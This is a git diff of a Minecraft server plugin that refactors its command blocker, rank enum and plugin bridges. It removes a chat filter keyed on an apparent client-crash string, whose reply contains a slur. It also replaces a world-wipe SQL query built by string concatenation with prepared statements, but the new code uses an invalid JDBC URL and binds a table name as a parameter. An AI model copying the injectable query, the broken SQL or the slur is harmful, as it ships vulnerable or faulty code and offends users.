@ -29,19 +30,32 @@ public class CommandBlocker extends FreedomService
private final Map<String, CommandBlockerEntry> entryList = Maps.newHashMap(); private final Map<String, CommandBlockerEntry> entryList = Maps.newHashMap();
private final List<String> unknownCommands = Lists.newArrayList(); private final List<String> unknownCommands = Lists.newArrayList();
public CommandBlocker(TotalFreedomMod plugin) public static CommandMap getCommandMap()
{ {
super(plugin); try
{
SimplePluginManager simplePluginManager = (SimplePluginManager)Bukkit.getServer().getPluginManager();
Field commandMapField = SimplePluginManager.class.getDeclaredField("commandMap");
commandMapField.setAccessible(true);
return (SimpleCommandMap)commandMapField.get(simplePluginManager);
}
catch (NoSuchFieldException | IllegalArgumentException | IllegalAccessException e)
{
FLog.severe("Failed to get command map field (" + e.getMessage() + ")");
}
return null;
} }
@Override @Override
protected void onStart() public void onStart()
{ {
load(); load();
} }
@Override @Override
protected void onStop() public void onStop()
{ {
entryList.clear(); entryList.clear();
} }
@ -51,12 +65,7 @@ public class CommandBlocker extends FreedomService
entryList.clear(); entryList.clear();
unknownCommands.clear(); unknownCommands.clear();
final CommandMap commandMap = CommandReflection.getCommandMap(); final CommandMap commandMap = getCommandMap();
if (commandMap == null)
{
FLog.severe("Error loading commandMap.");
return;
}
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
List<String> blockedCommands = (List<String>)ConfigEntry.BLOCKED_COMMANDS.getList(); List<String> blockedCommands = (List<String>)ConfigEntry.BLOCKED_COMMANDS.getList();
@ -74,7 +83,7 @@ public class CommandBlocker extends FreedomService
String commandName = parts[2].toLowerCase().substring(1); String commandName = parts[2].toLowerCase().substring(1);
final String message = (parts.length > 3 ? parts[3] : null); final String message = (parts.length > 3 ? parts[3] : null);
if (rank == null || action == null || commandName == null || commandName.isEmpty()) if (rank == null || action == null || commandName.isEmpty())
{ {
FLog.warning("Invalid command blocker entry: " + rawEntry); FLog.warning("Invalid command blocker entry: " + rawEntry);
continue; continue;
@ -88,6 +97,7 @@ public class CommandBlocker extends FreedomService
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).trim().toLowerCase(); subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).trim().toLowerCase();
} }
assert commandMap != null;
final Command command = commandMap.getCommand(commandName); final Command command = commandMap.getCommand(commandName);
// Obtain command from alias // Obtain command from alias
@ -106,9 +116,9 @@ public class CommandBlocker extends FreedomService
continue; continue;
} }
final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
entryList.put(blockedCommandEntry.getCommand(), blockedCommandEntry);
final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
entryList.put(commandName, blockedCommandEntry);
if (command != null) if (command != null)
{ {
for (String alias : command.getAliases()) for (String alias : command.getAliases())
@ -130,12 +140,6 @@ public class CommandBlocker extends FreedomService
// CommandBlocker handles messages and broadcasts // CommandBlocker handles messages and broadcasts
event.setCancelled(true); event.setCancelled(true);
} }
if (event.getMessage().contains("translation.test.invalid") || event.getMessage().contains("translation.test.invalid2"))
{
event.setCancelled(true);
FUtil.playerMsg(event.getPlayer(), ChatColor.RED + "No crishy crashy faggy");
}
} }
public boolean isCommandBlocked(String command, CommandSender sender) public boolean isCommandBlocked(String command, CommandSender sender)

View File

@ -8,16 +8,11 @@ public enum CommandBlockerAction
BLOCK_UNKNOWN("u"); BLOCK_UNKNOWN("u");
private final String token; private final String token;
private CommandBlockerAction(String token) CommandBlockerAction(String token)
{ {
this.token = token; this.token = token;
} }
public String getToken()
{
return this.token;
}
public static CommandBlockerAction fromToken(String token) public static CommandBlockerAction fromToken(String token)
{ {
for (CommandBlockerAction action : CommandBlockerAction.values()) for (CommandBlockerAction action : CommandBlockerAction.values())
@ -29,4 +24,9 @@ public enum CommandBlockerAction
} }
return null; return null;
} }
}
public String getToken()
{
return this.token;
}
}

View File

@ -1,6 +1,5 @@
package me.totalfreedom.totalfreedommod.blocking.command; package me.totalfreedom.totalfreedommod.blocking.command;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
@ -11,15 +10,15 @@ import org.spigotmc.SpigotConfig;
public class CommandBlockerEntry public class CommandBlockerEntry
{ {
@Getter
private final CommandBlockerRank rank; private final CommandBlockerRank rank;
@Getter
private final CommandBlockerAction action; private final CommandBlockerAction action;
@Getter
private final String command; private final String command;
@Getter
private final String subCommand; private final String subCommand;
@Getter
private final String message; private final String message;
public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String message) public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String message)
@ -40,7 +39,7 @@ public class CommandBlockerEntry
{ {
if (action == CommandBlockerAction.BLOCK_AND_EJECT && sender instanceof Player) if (action == CommandBlockerAction.BLOCK_AND_EJECT && sender instanceof Player)
{ {
TotalFreedomMod.plugin().ae.autoEject((Player)sender, "You used a prohibited command: " + command); TotalFreedomMod.getPlugin().ae.autoEject((Player)sender, "You used a prohibited command: " + command);
FUtil.bcastMsg(sender.getName() + " was automatically kicked for using harmful commands.", ChatColor.RED); FUtil.bcastMsg(sender.getName() + " was automatically kicked for using harmful commands.", ChatColor.RED);
return; return;
} }
@ -51,4 +50,29 @@ public class CommandBlockerEntry
} }
FUtil.playerMsg(sender, FUtil.colorize(message)); FUtil.playerMsg(sender, FUtil.colorize(message));
} }
public CommandBlockerRank getRank()
{
return rank;
}
public CommandBlockerAction getAction()
{
return action;
}
public String getCommand()
{
return command;
}
public String getSubCommand()
{
return subCommand;
}
public String getMessage()
{
return message;
}
} }

View File

@ -4,50 +4,32 @@ import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.admin.Admin; import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public enum CommandBlockerRank public enum CommandBlockerRank
{ {
EVERYONE("e"),
ANYONE("a"),
OP("o"), OP("o"),
SUPER("s"), ADMIN("a"),
TELNET("t"), SENIOR_ADMIN("s"),
SENIOR("c"),
NOBODY("n"); NOBODY("n");
// //
private final String token; private final String token;
private CommandBlockerRank(String token) CommandBlockerRank(String token)
{ {
this.token = token; this.token = token;
} }
public String getToken()
{
return this.token;
}
public boolean hasPermission(CommandSender sender)
{
return fromSender(sender).ordinal() >= ordinal();
}
public static CommandBlockerRank fromSender(CommandSender sender) public static CommandBlockerRank fromSender(CommandSender sender)
{ {
if (!(sender instanceof Player)) Admin admin = TotalFreedomMod.getPlugin().al.getAdmin(sender);
{
return TELNET;
}
Admin admin = TotalFreedomMod.plugin().al.getAdmin(sender);
if (admin != null) if (admin != null)
{ {
if (admin.getRank() == Rank.SENIOR_ADMIN) if (admin.getRank() == Rank.SENIOR_ADMIN)
{ {
return SENIOR; return SENIOR_ADMIN;
} }
return SUPER; return ADMIN;
} }
if (sender.isOp()) if (sender.isOp())
@ -55,8 +37,7 @@ public enum CommandBlockerRank
return OP; return OP;
} }
return ANYONE; return EVERYONE;
} }
public static CommandBlockerRank fromToken(String token) public static CommandBlockerRank fromToken(String token)
@ -68,6 +49,16 @@ public enum CommandBlockerRank
return rank; return rank;
} }
} }
return ANYONE; return EVERYONE;
} }
}
public String getToken()
{
return this.token;
}
public boolean hasPermission(CommandSender sender)
{
return fromSender(sender).ordinal() >= ordinal();
}
}

View File

@ -1,7 +1,6 @@
package me.totalfreedom.totalfreedommod.bridge; package me.totalfreedom.totalfreedommod.bridge;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import me.totalfreedom.bukkittelnet.BukkitTelnet; import me.totalfreedom.bukkittelnet.BukkitTelnet;
@ -10,7 +9,6 @@ import me.totalfreedom.bukkittelnet.api.TelnetPreLoginEvent;
import me.totalfreedom.bukkittelnet.api.TelnetRequestDataTagsEvent; import me.totalfreedom.bukkittelnet.api.TelnetRequestDataTagsEvent;
import me.totalfreedom.bukkittelnet.session.ClientSession; import me.totalfreedom.bukkittelnet.session.ClientSession;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.admin.Admin; import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
@ -24,18 +22,13 @@ public class BukkitTelnetBridge extends FreedomService
private BukkitTelnet bukkitTelnetPlugin = null; private BukkitTelnet bukkitTelnetPlugin = null;
public BukkitTelnetBridge(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -72,10 +65,8 @@ public class BukkitTelnetBridge extends FreedomService
@EventHandler(priority = EventPriority.NORMAL) @EventHandler(priority = EventPriority.NORMAL)
public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event) public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event)
{ {
final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator(); for (Map.Entry<Player, Map<String, Object>> entry : event.getDataTags().entrySet())
while (it.hasNext())
{ {
final Map.Entry<Player, Map<String, Object>> entry = it.next();
final Player player = entry.getKey(); final Player player = entry.getKey();
final Map<String, Object> playerTags = entry.getValue(); final Map<String, Object> playerTags = entry.getValue();
@ -90,7 +81,7 @@ public class BukkitTelnetBridge extends FreedomService
isAdmin = active; isAdmin = active;
isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN; isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN;
isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.TELNET_ADMIN); isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.ADMIN);
} }
playerTags.put("tfm.admin.isAdmin", isAdmin); playerTags.put("tfm.admin.isAdmin", isAdmin);
@ -127,6 +118,24 @@ public class BukkitTelnetBridge extends FreedomService
return bukkitTelnetPlugin; return bukkitTelnetPlugin;
} }
public List<Admin> getConnectedAdmins()
{
List<Admin> admins = new ArrayList<>();
final BukkitTelnet telnet = getBukkitTelnetPlugin();
if (telnet != null)
{
for (ClientSession session : telnet.appender.getSessions())
{
Admin admin = plugin.al.getEntryByName(session.getUserName().toLowerCase());
if (admin != null && !admins.contains(admin))
{
admins.add(admin);
}
}
}
return admins;
}
public void killTelnetSessions(final String name) public void killTelnetSessions(final String name)
{ {
try try
@ -136,10 +145,8 @@ public class BukkitTelnetBridge extends FreedomService
final BukkitTelnet telnet = getBukkitTelnetPlugin(); final BukkitTelnet telnet = getBukkitTelnetPlugin();
if (telnet != null) if (telnet != null)
{ {
final Iterator<ClientSession> it = telnet.appender.getSessions().iterator(); for (ClientSession session : telnet.appender.getSessions())
while (it.hasNext())
{ {
final ClientSession session = it.next();
if (name != null && name.equalsIgnoreCase(session.getUserName())) if (name != null && name.equalsIgnoreCase(session.getUserName()))
{ {
sessionsToRemove.add(session); sessionsToRemove.add(session);
@ -167,4 +174,4 @@ public class BukkitTelnetBridge extends FreedomService
FLog.severe("Error removing telnet sessions: " + ex.getMessage()); FLog.severe("Error removing telnet sessions: " + ex.getMessage());
} }
} }
} }

View File

@ -1,45 +1,85 @@
package me.totalfreedom.totalfreedommod.bridge; package me.totalfreedom.totalfreedommod.bridge;
import java.io.File; import java.io.File;
import java.sql.Connection; import java.sql.*;
import java.sql.DriverManager; import java.text.DecimalFormat;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Arrays; import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.PlayerData;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import net.coreprotect.CoreProtect; import net.coreprotect.CoreProtect;
import net.coreprotect.CoreProtectAPI; import net.coreprotect.CoreProtectAPI;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.World; import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.BlockState;
import org.bukkit.block.data.BlockData;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.block.Action;
import org.bukkit.event.player.PlayerInteractEvent;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask; import org.bukkit.scheduler.BukkitTask;
public class CoreProtectBridge extends FreedomService public class CoreProtectBridge extends FreedomService
{ {
private CoreProtectAPI coreProtectAPI = null; public static Map<Player, FUtil.PaginationList<String>> HISTORY_MAP = new HashMap<>();
private final List<String> tables = Arrays.asList("co_sign", "co_session", "co_container", "co_block"); private final List<String> tables = Arrays.asList("co_sign", "co_session", "co_container", "co_block");
private final HashMap<String, Long> cooldown = new HashMap<>();
private CoreProtectAPI coreProtectAPI = null;
private BukkitTask wiper; private BukkitTask wiper;
public CoreProtectBridge(TotalFreedomMod plugin) public static Long getSecondsLeft(long prevTime, int timeAdd)
{ {
super(plugin); return prevTime / 1000L + timeAdd - System.currentTimeMillis() / 1000L;
}
// Unix timestamp converter taken from Functions class in CoreProtect, not my code
public static String getTimeAgo(int logTime, int currentTime)
{
StringBuilder message = new StringBuilder();
double timeSince = (double)currentTime - ((double)logTime + 0.0D);
timeSince /= 60.0D;
if (timeSince < 60.0D)
{
message.append((new DecimalFormat("0.00")).format(timeSince)).append("/m ago");
}
if (message.length() == 0)
{
timeSince /= 60.0D;
if (timeSince < 24.0D)
{
message.append((new DecimalFormat("0.00")).format(timeSince)).append("/h ago");
}
}
if (message.length() == 0)
{
timeSince /= 24.0D;
message.append((new DecimalFormat("0.00")).format(timeSince)).append("/d ago");
}
return message.toString();
} }
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -49,8 +89,8 @@ public class CoreProtectBridge extends FreedomService
try try
{ {
final Plugin coreProtectPlugin = Bukkit.getServer().getPluginManager().getPlugin("CoreProtect"); final Plugin coreProtectPlugin = Bukkit.getServer().getPluginManager().getPlugin("CoreProtect");
assert coreProtectPlugin != null;
if (coreProtectPlugin != null && coreProtectPlugin instanceof CoreProtect) if (coreProtectPlugin instanceof CoreProtect)
{ {
coreProtect = (CoreProtect)coreProtectPlugin; coreProtect = (CoreProtect)coreProtectPlugin;
} }
@ -109,7 +149,7 @@ public class CoreProtectBridge extends FreedomService
@Override @Override
public void run() public void run()
{ {
coreProtect.performRollback(86400, Arrays.asList(name), null, null, null, null, 0, null); coreProtect.performRollback(86400, Collections.singletonList(name), null, null, null, null, 0, null);
} }
}.runTaskAsynchronously(plugin); }.runTaskAsynchronously(plugin);
} }
@ -129,7 +169,7 @@ public class CoreProtectBridge extends FreedomService
@Override @Override
public void run() public void run()
{ {
coreProtect.performRestore(86400, Arrays.asList(name), null, null, null, null, 0, null); coreProtect.performRestore(86400, Collections.singletonList(name), null, null, null, null, 0, null);
} }
}.runTaskAsynchronously(plugin); }.runTaskAsynchronously(plugin);
} }
@ -174,7 +214,7 @@ public class CoreProtectBridge extends FreedomService
/* As CoreProtect doesn't have an API method for deleting all of the data for a specific world /* As CoreProtect doesn't have an API method for deleting all of the data for a specific world
we have to do this manually via SQL */ we have to do this manually via SQL */
Connection connection = null; Connection connection;
try try
{ {
String host = ConfigEntry.COREPROTECT_MYSQL_HOST.getString(); String host = ConfigEntry.COREPROTECT_MYSQL_HOST.getString();
@ -183,12 +223,13 @@ public class CoreProtectBridge extends FreedomService
String password = ConfigEntry.COREPROTECT_MYSQL_PASSWORD.getString(); String password = ConfigEntry.COREPROTECT_MYSQL_PASSWORD.getString();
String database = ConfigEntry.COREPROTECT_MYSQL_DATABASE.getString(); String database = ConfigEntry.COREPROTECT_MYSQL_DATABASE.getString();
String url = host + ":" + port + "/" + database + "?user=" + username + "&password=" + password + "&useSSL=false"; String url = host + ":" + port + "/" + database + "?user=" + username + "&password=" + password + "&useSSL=false";
connection = DriverManager.getConnection("jdbc:mysql://" + url); connection = DriverManager.getConnection("jdbc:sql://" + url);
final Statement statement = connection.createStatement(); final PreparedStatement statement = connection.prepareStatement("SELECT id FROM co_world WHERE world = ?");
statement.setQueryTimeout(30); statement.setQueryTimeout(30);
// Obtain world ID from CoreProtect database // Obtain world ID from CoreProtect database
ResultSet resultSet = statement.executeQuery("SELECT id FROM co_world WHERE world = '" + world.getName() + "'"); statement.setString(1, world.getName());
ResultSet resultSet = statement.executeQuery();
String worldID = null; String worldID = null;
while (resultSet.next()) while (resultSet.next())
{ {
@ -196,6 +237,7 @@ public class CoreProtectBridge extends FreedomService
} }
// Ensure the world ID is not null // Ensure the world ID is not null
if (worldID == null) if (worldID == null)
{ {
FLog.warning("Failed to obtain the world ID for the " + world.getName()); FLog.warning("Failed to obtain the world ID for the " + world.getName());
@ -205,7 +247,10 @@ public class CoreProtectBridge extends FreedomService
// Iterate through each table and delete their data if the world ID matches // Iterate through each table and delete their data if the world ID matches
for (String table : tables) for (String table : tables)
{ {
statement.executeQuery("DELETE FROM " + table + " WHERE wid = " + worldID); final PreparedStatement statement1 = connection.prepareStatement("DELETE FROM ? WHERE wid = ?");
statement1.setString(1, table);
statement1.setString(2, worldID);
statement1.executeQuery();
} }
connection.close(); connection.close();
@ -219,13 +264,193 @@ public class CoreProtectBridge extends FreedomService
// This exits for flatlands wipes // This exits for flatlands wipes
if (shutdown) if (shutdown)
{ {
if (plugin.amp.enabled) server.shutdown();
}
}
@EventHandler(priority = EventPriority.MONITOR)
public void onPlayerInteract(PlayerInteractEvent event)
{
Player player = event.getPlayer();
PlayerData data = plugin.pl.getData(player);
Block block = event.getClickedBlock();
final CoreProtectAPI coreProtect = getCoreProtectAPI();
if (data.hasInspection())
{
if (event.getAction() == Action.LEFT_CLICK_BLOCK)
{ {
plugin.amp.restartServer(); if (block != null)
{
event.setCancelled(true);
List<String[]> lookup = coreProtect.blockLookup(block, -1);
int cooldownTime = 3;
if (cooldown.containsKey(player.getName()))
{
long secondsLeft = getSecondsLeft(cooldown.get(player.getName()), cooldownTime);
if (secondsLeft > 0L)
{
event.setCancelled(true);
player.sendMessage(ChatColor.RED + String.valueOf(secondsLeft) + " seconds left before next query.");
return;
}
}
if (!plugin.al.isAdmin(player))
{
cooldown.put(player.getName(), System.currentTimeMillis());
}
if (lookup != null)
{
if (lookup.isEmpty())
{
player.sendMessage(net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector " + ChatColor.WHITE + "- " + "No block data found for this location");
return;
}
HISTORY_MAP.remove(event.getPlayer());
HISTORY_MAP.put(event.getPlayer(), new FUtil.PaginationList<>(10));
FUtil.PaginationList<String> paged = HISTORY_MAP.get(event.getPlayer());
player.sendMessage("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- " +
ChatColor.GRAY + "(x" + block.getX() + "/" + "y" + block.getY() + "/" + "z" + block.getZ() + ")");
for (String[] value : lookup)
{
CoreProtectAPI.ParseResult result = coreProtect.parseResult(value);
BlockData bl = result.getBlockData();
String s;
String st = "";
if (result.getActionString().equals("Placement"))
{
s = " placed ";
}
else if (result.getActionString().equals("Removal"))
{
s = " broke ";
}
else
{
s = " interacted with ";
}
if (result.isRolledBack())
{
st += "§m";
}
int time = (int)(System.currentTimeMillis() / 1000L);
paged.add(ChatColor.GRAY + getTimeAgo(result.getTime(), time) + ChatColor.WHITE + " - " + net.md_5.bungee.api.ChatColor.of("#30ade4") +
st + result.getPlayer() + ChatColor.WHITE + st + s + net.md_5.bungee.api.ChatColor.of("#30ade4") + st + bl.getMaterial().toString().toLowerCase());
}
List<String> page = paged.getPage(1);
for (String entries : page)
{
player.sendMessage(entries);
}
player.sendMessage("Page 1/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>");
}
}
} }
else else if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
{ {
server.shutdown(); if (block != null)
{
if (data.hasInspection())
{
BlockState blockState = block.getRelative(event.getBlockFace()).getState();
Block placedBlock = blockState.getBlock();
event.setCancelled(true);
List<String[]> lookup = coreProtect.blockLookup(placedBlock, -1);
if (lookup.isEmpty())
{
lookup = coreProtect.blockLookup(block, -1);
}
int cooldownTime = 3;
if (cooldown.containsKey(player.getName()))
{
long secondsLeft = getSecondsLeft(cooldown.get(player.getName()), cooldownTime);
if (secondsLeft > 0L)
{
event.setCancelled(true);
player.sendMessage(ChatColor.RED + String.valueOf(secondsLeft) + " seconds left before next query.");
return;
}
}
if (!plugin.al.isAdmin(player))
{
cooldown.put(player.getName(), System.currentTimeMillis());
}
if (lookup != null)
{
if (lookup.isEmpty())
{
player.sendMessage(net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector " + ChatColor.WHITE + "- " + "No block data found for this location");
return;
}
HISTORY_MAP.remove(event.getPlayer());
HISTORY_MAP.put(event.getPlayer(), new FUtil.PaginationList<>(10));
FUtil.PaginationList<String> paged = HISTORY_MAP.get(event.getPlayer());
player.sendMessage("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- " +
ChatColor.GRAY + "(x" + block.getX() + "/" + "y" + block.getY() + "/" + "z" + block.getZ() + ")");
for (String[] value : lookup)
{
CoreProtectAPI.ParseResult result = coreProtect.parseResult(value);
BlockData bl = result.getBlockData();
String s;
String st = "";
if (result.getActionString().equals("Placement"))
{
s = " placed ";
}
else if (result.getActionString().equals("Removal"))
{
s = " broke ";
}
else
{
s = " interacted with ";
}
if (result.isRolledBack())
{
st += "§m";
}
int time = (int)(System.currentTimeMillis() / 1000L);
paged.add(ChatColor.GRAY + getTimeAgo(result.getTime(), time) + ChatColor.WHITE + " - " + net.md_5.bungee.api.ChatColor.of("#30ade4") +
st + result.getPlayer() + ChatColor.WHITE + st + s + net.md_5.bungee.api.ChatColor.of("#30ade4") + st + bl.getMaterial().toString().toLowerCase());
}
List<String> page = paged.getPage(1);
for (String entries : page)
{
player.sendMessage(entries);
}
player.sendMessage("Page 1/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>");
}
}
}
} }
} }
} }

View File

@ -3,7 +3,6 @@ package me.totalfreedom.totalfreedommod.bridge;
import com.earth2me.essentials.Essentials; import com.earth2me.essentials.Essentials;
import com.earth2me.essentials.User; import com.earth2me.essentials.User;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
@ -26,18 +25,13 @@ public class EssentialsBridge extends FreedomService
private Essentials essentialsPlugin = null; private Essentials essentialsPlugin = null;
public EssentialsBridge(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -48,7 +42,8 @@ public class EssentialsBridge extends FreedomService
try try
{ {
final Plugin essentials = server.getPluginManager().getPlugin("Essentials"); final Plugin essentials = server.getPluginManager().getPlugin("Essentials");
if (essentials != null && essentials instanceof Essentials) assert essentials != null;
if (essentials instanceof Essentials)
{ {
essentialsPlugin = (Essentials)essentials; essentialsPlugin = (Essentials)essentials;
} }
@ -119,7 +114,8 @@ public class EssentialsBridge extends FreedomService
User user = getEssentialsUser(username); User user = getEssentialsUser(username);
if (user != null) if (user != null)
{ {
return FUtil.getField(user, "lastActivity"); Long l = FUtil.getField(user, "lastActivity");
return (l != null) ? l : 0L;
} }
} }
catch (Exception ex) catch (Exception ex)
@ -156,7 +152,7 @@ public class EssentialsBridge extends FreedomService
if (inventoryType == InventoryType.PLAYER && fPlayer.isInvSee()) if (inventoryType == InventoryType.PLAYER && fPlayer.isInvSee())
{ {
final InventoryHolder inventoryHolder = inventory.getHolder(); final InventoryHolder inventoryHolder = inventory.getHolder();
if (inventoryHolder != null && inventoryHolder instanceof HumanEntity) if (inventoryHolder instanceof HumanEntity)
{ {
Player invOwner = (Player)inventoryHolder; Player invOwner = (Player)inventoryHolder;
Rank recieverRank = plugin.rm.getRank(player); Rank recieverRank = plugin.rm.getRank(player);
@ -209,6 +205,7 @@ public class EssentialsBridge extends FreedomService
} }
} }
// TODO: Actually use this for something or remove it.
@EventHandler(priority = EventPriority.MONITOR) @EventHandler(priority = EventPriority.MONITOR)
public void onPlayerQuit(PlayerQuitEvent event) public void onPlayerQuit(PlayerQuitEvent event)
{ {
@ -221,4 +218,4 @@ public class EssentialsBridge extends FreedomService
return ess != null && ess.isEnabled(); return ess != null && ess.isEnabled();
} }
} }

View File

@ -1,31 +1,24 @@
package me.totalfreedom.totalfreedommod.bridge; package me.totalfreedom.totalfreedommod.bridge;
import me.libraryaddict.disguise.BlockedDisguises;
import me.libraryaddict.disguise.DisguiseAPI; import me.libraryaddict.disguise.DisguiseAPI;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
import me.totalfreedom.libsdisguises.BlockedDisguises;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
public class LibsDisguisesBridge extends FreedomService public class LibsDisguisesBridge extends FreedomService
{ {
private LibsDisguises libsDisguisesPlugin = null; private LibsDisguises libsDisguisesPlugin = null;
public LibsDisguisesBridge(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -53,24 +46,7 @@ public class LibsDisguisesBridge extends FreedomService
return libsDisguisesPlugin; return libsDisguisesPlugin;
} }
public Boolean isDisguised(Player player) public void undisguiseAll(boolean admin)
{
try
{
final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
if (libsDisguises != null)
{
return DisguiseAPI.isDisguised(player);
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
public void undisguiseAll(boolean admins)
{ {
try try
{ {
@ -85,7 +61,7 @@ public class LibsDisguisesBridge extends FreedomService
{ {
if (DisguiseAPI.isDisguised(player)) if (DisguiseAPI.isDisguised(player))
{ {
if (!admins && plugin.al.isAdmin(player)) if (!admin && plugin.al.isAdmin(player))
{ {
continue; continue;
} }
@ -99,6 +75,11 @@ public class LibsDisguisesBridge extends FreedomService
} }
} }
public boolean isDisguisesEnabled()
{
return !BlockedDisguises.disabled;
}
public void setDisguisesEnabled(boolean state) public void setDisguisesEnabled(boolean state)
{ {
final LibsDisguises libsDisguises = getLibsDisguisesPlugin(); final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
@ -111,15 +92,10 @@ public class LibsDisguisesBridge extends FreedomService
BlockedDisguises.disabled = !state; BlockedDisguises.disabled = !state;
} }
public boolean isDisguisesEnabled()
{
return !BlockedDisguises.disabled;
}
public boolean isEnabled() public boolean isEnabled()
{ {
final LibsDisguises libsDisguises = getLibsDisguisesPlugin(); final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
return libsDisguises != null && libsDisguises.isEnabled(); return libsDisguises != null;
} }
} }

View File

@ -0,0 +1,58 @@
package me.totalfreedom.totalfreedommod.bridge;
import me.totalfreedom.tfguilds.Common;
import me.totalfreedom.tfguilds.TFGuilds;
import me.totalfreedom.totalfreedommod.FreedomService;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
public class TFGuildsBridge extends FreedomService
{
public boolean enabled = false;
@Override
public void onStart()
{
}
@Override
public void onStop()
{
}
public boolean isTFGuildsEnabled()
{
if (enabled)
{
return true;
}
try
{
final Plugin tfGuilds = server.getPluginManager().getPlugin("TFGuilds");
if (tfGuilds != null && tfGuilds.isEnabled())
{
if (tfGuilds instanceof TFGuilds)
{
enabled = true;
return true;
}
}
}
catch (NoClassDefFoundError ex)
{
return false;
}
return false;
}
public boolean inGuildChat(Player player)
{
if (!isTFGuildsEnabled())
{
return false;
}
return Common.GUILD_CHAT.contains(player);
}
}

View File

@ -4,7 +4,6 @@ import com.sk89q.worldedit.LocalSession;
